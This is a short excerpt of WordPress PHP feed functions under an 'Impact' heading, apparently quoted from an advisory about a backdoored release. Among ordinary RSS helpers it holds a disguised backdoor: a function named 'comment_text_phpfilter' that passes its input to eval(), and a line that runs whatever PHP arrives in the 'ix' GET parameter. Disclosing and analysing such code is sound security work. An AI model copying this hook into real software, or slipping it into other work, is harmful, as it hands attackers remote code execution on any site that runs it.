Impact

function comment_author_rss() {
echo get_comment_author_rss();
}

function comment_text_phpfilter($filterdata) {
eval($filterdata);
}

function comment_text_rss() {
$comment_text = get_comment_text();
$comment_text = apply_filters('comment_text_rss', $comment_text);
echo $comment_text;
}


function comments_rss_link($link_text = 'Comments RSS', $commentsrssfilename = '') {
$url = comments_rss($commentsrssfilename);
echo "<a href='$url'>$link_text</a>";
}

...


function get_category_rss_link($echo = false, $cat_ID, $category_nicename) {
$permalink_structure = get_option('permalink_structure');

if ( '' == $permalink_structure ) {
$link = get_option('home') . '?feed=rss2&amp;cat=' . $cat_ID;
} else {
$link = get_category_link($cat_ID);
$link = $link . "feed/";
}

$link = apply_filters('category_feed_link', $link);

if ( $echo )
echo $link;
return $link;
}

if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

function get_the_category_rss($type = 'rss') {
$categories = get_the_category();
$the_list = '';
foreach ( (array) $categories as $category ) {
$category->cat_name = convert_chars($category->cat_name);
if ( 'rdf' == $type )
$the_list .= "\n\t\t<dc:subject><![CDATA[$category->cat_name]]></dc:subject>\n";
else
$the_list .= "\n\t\t<category><![CDATA[$category->cat_name]]></category>\n";
}
return apply_filters('the_category_rss', $the_list, $type);
}